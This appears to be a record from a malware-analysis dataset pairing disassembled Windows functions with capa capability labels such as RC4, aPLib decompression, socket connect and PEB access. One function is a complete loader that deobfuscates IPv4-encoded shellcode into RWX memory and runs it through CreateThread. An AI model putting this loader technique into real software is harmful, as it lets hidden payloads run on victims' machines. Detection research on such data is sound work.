joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f9710
Capabilities:
Encode data using xor

Disassembly:
movabs r9, 0xc6a4a7935bd1e995
mov rax, rdx
mov r11, rdx
imul rax, r9
and r11, 0xfffffffffffffff8
add r11, rcx
xor rax, r8
cmp rcx, r11
je 0x5f9760
nop dword [rax + rax]
mov r10, qword [rcx]
add rcx, 8
imul r10, r9
mov r8, r10
shr r8, 0x2f
xor r8, r10
imul r8, r9
xor r8, rax
mov rax, r8
imul rax, r9
cmp r11, rcx
jne 0x5f9738
and edx, 7
je 0x5f9795
sub edx, 1
xor r8d, r8d
movsxd rdx, edx
nop
movzx ecx, byte [r11 + rdx]
shl r8, 8
sub rdx, 1
add r8, rcx
test edx, edx
jns 0x5f9770
xor r8, rax
movabs rax, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
movabs r8, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
ret

Function at 0x602bb0
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rbp, qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r12, rdx
mov rdi, r8
lea rsi, [rsp + 0x3c]
mov edx, 0x8004667e
mov r8, rsi
mov dword [rsp + 0x3c], 1
mov rbx, rcx
mov rcx, r12
call rbp
mov rdx, qword [rdi + 0x20]
mov r8d, dword [rdi + 0x10]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x602c9a
mov r8, rsi
mov edx, 0x8004667e
mov rcx, r12
mov edi, 0x3e8
mov dword [rsp + 0x3c], 0
call rbp
mov rax, qword [rbx + 0x20]
mov rbp, qword [sym.imp.WS2_32.dll_setsockopt]
mov r9, rsi
mov r8d, 0x1006
imul ecx, dword [rax], 0x3e8
mov rax, qword [rbx + 0x28]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
cqo
idiv rdi
mov edx, 0xffff
add eax, ecx
mov rcx, r12
mov dword [rsp + 0x3c], eax
call rbp
mov rax, qword [rbx + 0x30]
mov r9, rsi
mov r8d, 0x1005
imul ecx, dword [rax], 0x3e8
mov rax, qword [rbx + 0x38]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
cqo
idiv rdi
mov edx, 0xffff
add eax, ecx
mov rcx, r12
mov dword [rsp + 0x3c], eax
call rbp
mov rax, qword [rbx + 8]
mov dword [rax], 0
mov al, 1
jmp 0x602cda
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdi, qword [rbx + 8]
cmp eax, 0x2733
je 0x602cb3
mov dword [rdi], 2
jmp 0x602cd8
mov rdx, qword [rbx + 0x18]
mov rax, qword [rbx + 0x10]
mov rcx, r12
mov r8, qword [rdx]
mov rdx, qword [rax]
call fcn.00529b90
mov dword [rdi], eax
mov rax, qword [rbx + 8]
cmp dword [rax], 0
je 0x602bfd
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x604cc0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
mov byte [0x0066e040], 0
mov ecx, 2
lea rdx, [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x604ce9
mov byte [0x0066e040], 1
add rsp, 0x1c8
ret
Function at 0x14002915c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c754
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c754
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400292ac
cmp rax, 0xffffffffffffffff
je 0x1400292ac
xor edi, edi
test rbp, rbp
jle 0x140029257
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f068
mov rbx, rax
test rax, rax
jne 0x1400291e4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002924d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a088
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d430
cmp eax, 0xffffffff
je 0x14002922d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400291f4
mov edx, r15d
mov ecx, r14d
call fcn.14001a088
jmp 0x14002924d
cmp byte [rsi + 0x38], dil
je 0x140029244
cmp dword [rsi + 0x34], 5
jne 0x140029244
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002924d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001ae1c
jmp 0x1400292c0
jns 0x1400292c0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c754
cmp rax, 0xffffffffffffffff
jne 0x140029278
cmp byte [rsi + 0x30], dil
je 0x1400292c0
mov edi, dword [rsi + 0x2c]
jmp 0x1400292c0
mov ecx, r14d
call fcn.140018540
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400292c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400292c0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400292b9
mov eax, dword [rsi + 0x2c]
jmp 0x1400292be
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c754
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14000191c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001966
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001966
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001966
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001966
cmp dword [rcx + 0x84], 0xe
jbe 0x140001966
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001968
xor al, al
add rsp, 0x28
ret
Function at 0x140005950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x50]
xor ebp, ebp
mov rax, qword [rsp + 0x58]
mov r13, r9
mov rbx, qword [rsp + 0x68]
mov r12, rdx
mov qword [r14], r8
mov qword [rbx], rax
mov rax, qword [r14]
cmp rax, r9
je 0x140005ae4
mov r15, qword [rsp + 0x60]
lea r9d, [rbp + 1]
mov rdi, qword [rbx]
mov r11d, 0x2800
mov r8d, 0x3ff
mov r10d, 0x2400
cmp rdi, r15
je 0x140005ae4
movzx edx, word [r12]
xor sil, sil
movzx ecx, word [rax]
cmp r9w, dx
jae 0x1400059eb
lea eax, [r10 + rcx]
cmp ax, r8w
ja 0x140005b0b
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x140005a02
mov eax, ecx
add cx, r11w
cmp cx, r8w
ja 0x140005a02
shl eax, 0xa
mov sil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140005a15
movzx r8d, al
mov r10d, ebp
mov r11d, ebp
jmp 0x140005a62
mov r8d, eax
cmp eax, 0x800
jae 0x140005a2f
shr r8d, 6
mov r10d, r9d
or r8b, 0xc0
mov r11d, r9d
jmp 0x140005a62
cmp eax, 0x10000
jae 0x140005a49
shr r8d, 0xc
mov r10d, 2
or r8b, 0xe0
mov r11d, r10d
jmp 0x140005a62
shr r8d, 0x12
mov r10d, 3
movzx r11d, sil
or r8b, 0xf0
xor r11d, 1
add r11d, r11d
lea r9d, [r11 + 1]
mov rdx, r15
sub rdx, rdi
mov ecx, r9d
cmp rdx, rcx
jl 0x140005ae4
add qword [r14], 2
test sil, sil
jne 0x140005a83
cmp r10d, 3
jae 0x140005a8f
mov rcx, qword [rbx]
mov r9d, r11d
mov byte [rcx], r8b
inc qword [rbx]
test r9d, r9d
je 0x140005ac1
lea r8d, [r10 + r10*2]
add r8d, r8d
nop dword [rax + rax]
sub r8d, 6
mov edx, eax
mov ecx, r8d
dec r9d
shr edx, cl
mov rcx, qword [rbx]
and dl, 0x3f
or dl, 0x80
mov byte [rcx], dl
inc qword [rbx]
test r9d, r9d
jg 0x140005aa0
shr eax, 0xa
mov r9d, 1
test sil, sil
mov ecx, r9d
cmovne ecx, eax
mov word [r12], cx
mov rax, qword [r14]
cmp rax, r13
jne 0x14000599f
mov rax, qword [rsp + 0x40]
cmp rax, qword [r14]
sete bpl
mov eax, ebp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov eax, 2
jmp 0x140005af2

Function at 0x140042978
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400427a4
Function at 0x1405fb058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405fb1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405fb089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fb06f
add dl, dl
jne 0x1405fb096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fb0f6
xor eax, eax
add dl, dl
jne 0x1405fb0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405fb1ad
add dl, dl
jne 0x1405fb0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fb0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fb0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fb0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405fb0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405fb07e
mov eax, 1
add dl, dl
jne 0x1405fb106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405fb113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fb0fb
sub eax, ebx
mov ebx, 1
jne 0x1405fb14c
mov ecx, 1
add dl, dl
jne 0x1405fb12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405fb13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fb123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fb07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405fb168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405fb175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405fb15d
cmp eax, 0x7d00
jae 0x1405fb19b
cmp eax, 0x500
jb 0x1405fb196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fb07e
cmp eax, 0x7f
ja 0x1405fb19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405fb07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405fb1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405fb07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1421690b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.142169237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1421690e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1421690c7
add dl, dl
jne 0x1421690ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14216914e
xor eax, eax
add dl, dl
jne 0x1421690fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x142169205
add dl, dl
jne 0x14216910e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14216911b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142169128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142169135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x142169142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1421690d6
mov eax, 1
add dl, dl
jne 0x14216915e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14216916b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142169153
sub eax, ebx
mov ebx, 1
jne 0x1421691a4
mov ecx, 1
add dl, dl
jne 0x142169186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142169193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14216917b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1421690d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1421691c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1421691cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1421691b5
cmp eax, 0x7d00
jae 0x1421691f3
cmp eax, 0x500
jb 0x1421691ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1421690d6
cmp eax, 0x7f
ja 0x1421691f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1421690d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14216922a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1421690d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 0x228
lea rcx, str._i__SizeOf_IPv4Shell_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x114
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400010ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rdi - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rbp
mov rdx, rdi
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r15
call fcn.140001010
lea rcx, str.NTDLL
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv4StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001167
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000125b
xor esi, esi
lea r13, str.252.72.131.228
xor ebp, ebp
lea r15, [0x140005268]
mov rbx, r13
nop dword [rax]
mov rcx, qword [rbx]
lea r8, [rsp + 0x30]
movsxd r9, esi
xor edx, edx
add r9, rdi
call r14
test eax, eax
js 0x140001244
add esi, 4
inc ebp
add rbx, 8
cmp rbx, r15
jl 0x140001180
mov r8d, 0x114
lea rcx, str.___Deobfuscated_bytes_at_address__p_of_size___d._n
mov rdx, rdi
call fcn.140001010
lea rcx, str.___Deobfuscated_Shellcode:_n
call fcn.140001010
xor ebx, ebx
nop dword [rax]
movzx edx, byte [rbx + rdi]
lea rcx, str._02X
call fcn.140001010
inc rbx
cmp rbx, 0x114
jl 0x1400011d0
lea rcx, [0x140003810]
call fcn.140001010
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___hit_Enter_To_Exit_...__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x114
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001260
movsxd rdx, ebp
lea rcx, str.____RtlIpv6StringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r13 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x60
pop rdi
ret
Function at 0x140001b84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bce
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd0
xor al, al
add rsp, 0x28
ret
Function at 0x140004140
Capabilities:
Access peb ldr_data

Disassembly:
sub rsp, 0x70
mov qword [rsp + 0x68], rbp
lea rbp, [rsp + 0x68]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 0x60], rax
mov rcx, qword [rax + 0x30]
cmp qword [rcx + 0x90], rax
jne 0x1400042e4
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
mov rcx, qword [rcx + 0x30]
nop
inc dword [rcx + 0x244]
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
mov rdx, qword [rcx + 0x30]
nop
mov rbx, rcx
mov qword [rdx + 0x138], rcx
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0xd8], rcx
mov rcx, qword [rax + 0x30]
movups xmm0, xmmword [rcx + 0x2d8]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x2e8]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rcx + 0x2f8]
movups xmmword [rsp + 0x40], xmm0
mov rcx, qword [rax + 0x70]
mov qword [rsp + 0x50], rcx
mov rdx, qword [rax + 0x78]
mov qword [rsp + 0x18], rdx
call fcn.140054c00
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov byte [rcx + 0xe8], 0
mov rcx, qword [rax + 0x30]
xor edx, edx
xchg dword [rcx + 0x348], edx
mov rcx, qword [rsp + 0x78]
mov qword [rsp], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 8], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x10], rcx
call fcn.140004300
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x58], rcx
jmp 0x14000426f
nop
mov rax, qword [0x1403992b0]
mov qword [rsp], rax
mov dword [rsp + 8], 0
call fcn.14005b240
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov rdx, rax
xor eax, eax
mov ebx, 1
lock cmpxchg dword [rcx + 0x348], ebx
sete sil
test sil, sil
je 0x14000424c
mov rax, qword [rdx + 0x30]
mov byte [rax + 0xe8], 1
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x18]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
call fcn.140039a20
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rax + 0x2d8], xmm0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rax + 0x2e8], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + 0x2f8], xmm0
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov dword [rsp], 2
call fcn.14002cd20
mov rax, qword [rsp + 0x60]
jmp 0x140004174
Function at 0x14001d420
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x1403dc7b3], 0
jne 0x14001d585
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
sub rdx, qword [rbx + 0x18]
nop
test rdx, rdx
jne 0x14001d52e
xor eax, eax
nop
nop
nop
mov rcx, rax
shr rax, 3
and rcx, 7
mov edx, 1
shl edx, cl
nop
add rax, qword [rbx + 0x50]
lock or byte [rax], dl
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x14001d57a
lea rbx, [0x1403be658]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and rdx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and rcx, 0x3f
movzx ebx, byte [rdx + rcx + 0x21040]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x21040]
shr rax, 0xd
and rax, 7
mov rcx, rax
mov esi, 1
shl esi, cl
test sil, bl
jne 0x14001d4ef
lock or byte [rdx], sil
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
mov rcx, qword [rsp + 0x30]
add qword [rax + 0x16a8], rcx
mov rcx, qword [rsp + 0x38]
add qword [rax + 0x16b0], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
cmp word [rbx + 0x5e], 0
je 0x14001d54a
movzx ecx, byte [rbx + 0x65]
cmp cl, 0x40
sbb rax, rax
shr rdx, cl
and rax, rdx
jmp 0x14001d455
movzx ecx, byte [rbx + 0x65]
cmp cl, 0x40
sbb rax, rax
movzx esi, byte [rbx + 0x66]
cmp sil, 0x40
sbb rdi, rdi
shr rdx, cl
and rax, rdx
movzx edx, word [rbx + 0x5c]
imul rax, rdx
mov ecx, esi
shr rax, cl
and rax, rdi
jmp 0x14001d455
mov ecx, 0x40
nop
call fcn.140059c40
lea rax, [0x1403177dc]
mov qword [rsp], rax
mov qword [rsp + 8], 0x2c
call fcn.140030c20
nop
int3
Function at 0x1400205e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x140020726
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
call fcn.140031ec0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
mov rcx, qword [rax + 0x48]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
xor ecx, ecx
jmp 0x140020653
inc qword [rsp + 0x40]
lea rdx, [rax + 1]
mov rax, rcx
mov rcx, rdx
cmp qword [rax + 0x38], rcx
jbe 0x140020707
mov qword [rsp + 0x10], rcx
mov rdx, qword [rax + 0x68]
imul rdx, rcx
add rdx, qword [rax + 0x18]
mov qword [rsp], rdx
call fcn.1400098c0
mov rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x58]
cmp qword [rcx + 0x30], rax
jbe 0x1400206f2
mov edx, 1
mov rbx, qword [rsp + 0x18]
movzx esi, byte [rsp + 0x20]
movzx ebx, byte [rbx]
test sil, bl
je 0x1400206ee
xor edx, 1
test dl, dl
je 0x1400206a5
nop
cmp sil, 0x80
jne 0x1400206e5
inc qword [rsp + 0x18]
mov byte [rsp + 0x20], 1
inc qword [rsp + 0x28]
nop
movzx edx, byte [rsp + 0x38]
cmp dl, 0x80
jne 0x1400206d5
inc qword [rsp + 0x30]
mov byte [rsp + 0x38], 1
jmp 0x140020644
shl edx, 1
mov byte [rsp + 0x38], dl
nop dword [rax + rax]
jmp 0x140020644
shl esi, 1
mov byte [rsp + 0x20], sil
jmp 0x1400206b6
xor edx, edx
jmp 0x1400206a1
mov rbx, qword [rsp + 0x30]
movzx esi, byte [rsp + 0x38]
movzx ebx, byte [rbx]
test sil, bl
setne dl
jmp 0x14002068c
lea rax, [0x1403151cb]
mov qword [rsp], rax
mov qword [rsp + 8], 0x1c
nop dword [rax + rax]
call fcn.140030c20
nop
call fcn.140057a20
jmp fcn.1400205e0
Function at 0x140023d40
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x140023fae
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
nop
lea rax, [0x1403c5010]
mov qword [rsp], rax
call fcn.140009f00
lea rax, [0x1403c4f80]
mov qword [rsp], rax
call fcn.140016d80
mov rax, qword [rsp + 8]
mov qword [rsp + 0x48], rax
nop
nop
lea rcx, [0x1403c5010]
mov qword [rsp], rcx
call fcn.14000a160
mov rax, qword [rsp + 0x48]
mov byte [rax + 0xa], 1
lea rdi, [rax + 0x10]
cmp dword [0x1403dc9e0], 0
jne 0x140023f9f
mov rcx, qword [rsp + 0x68]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0x18], rcx
cmp dword [0x1403dc9e0], 0
nop dword [rax]
jne 0x140023f78
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
call fcn.1400238a0
cmp byte [rsp + 0x10], 0
je 0x140023f16
cmp dword [0x1403dc7f0], 0
jne 0x140023e34
mov byte [rsp + 0x88], 1
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
mov rax, qword [rsp + 0x60]
mov qword [rsp], rax
xorps xmm0, xmm0
movups xmmword [rsp + 8], xmm0
call fcn.140011c40
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rsp + 0x18]
nop
inc dword [rcx + 0xd8]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x30], rcx
mov rbx, qword [rcx + 0xa0]
test byte [rbx], al
test byte [rax], al
mov qword [rsp], rdx
lea rax, [rbx + 0x1698]
mov qword [rsp + 0x38], rax
mov qword [rsp + 8], rax
call fcn.14001c880
mov rax, qword [rsp + 0x40]
mov qword [rsp], rax
mov qword [rsp + 8], 8
lea rax, [0x1400b6021]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x18], rax
mov qword [rsp + 0x20], 0
call fcn.14001c6e0
nop
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rcx + 0xd8]
lea ebx, [rdx - 1]
mov dword [rcx + 0xd8], ebx
